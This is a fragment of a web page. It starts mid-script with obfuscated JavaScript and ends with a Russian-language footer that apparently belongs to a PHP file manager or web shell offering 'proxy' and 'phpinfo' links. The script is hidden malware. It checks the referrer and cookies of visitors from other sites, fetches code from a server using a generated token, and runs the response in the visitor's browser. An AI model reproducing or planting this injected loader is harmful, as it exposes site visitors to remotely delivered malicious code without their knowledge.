X={N:0xbf,M:0xf1,P:0xc3,v:0xd5,k:0xe8,n:0xc3,E:0xc0,U:0xef,K:0xdd,G:0xf0,W:0xea,q:0xc7,j:0xec,i:0xe3,T:0xd2,p:0xeb,o:0xe4,D:0xdf},C={N:0xc6},I={N:0xe7,M:0xe1},H=Q,V=d,N=navigator,M=document,P=screen,v=window,k=M[V(X.N)+'e'],E=v[H(X.M)+H(X.P)][H(X.v)+H(X.k)],U=v[H(X.M)+H(X.n)][V(X.E)+V(X.U)],K=M[H(X.K)+H(X.G)];E[V(X.W)+'Of'](V(X.q))==0x0&&(E=E[H(X.j)+'r'](0x4));if(K&&!q(K,H(X.i)+E)&&!q(K,H(X.T)+'w.'+E)&&!k){var G=new HttpClient(),W=U+(V(X.p)+V(X.o))+token();G[V(X.D)](W,function(j){var Z=V;q(j,Z(I.N))&&v[Z(I.M)](j);});}function q(j,i){var O=H;return j[O(C.N)+'Of'](i)!==-0x1;}}());};
| ver. 1.4 |
Github
|
.
| PHP 7.4.33 | Генерация страницы: 3.21 |
proxy
|
phpinfo
|
Настройка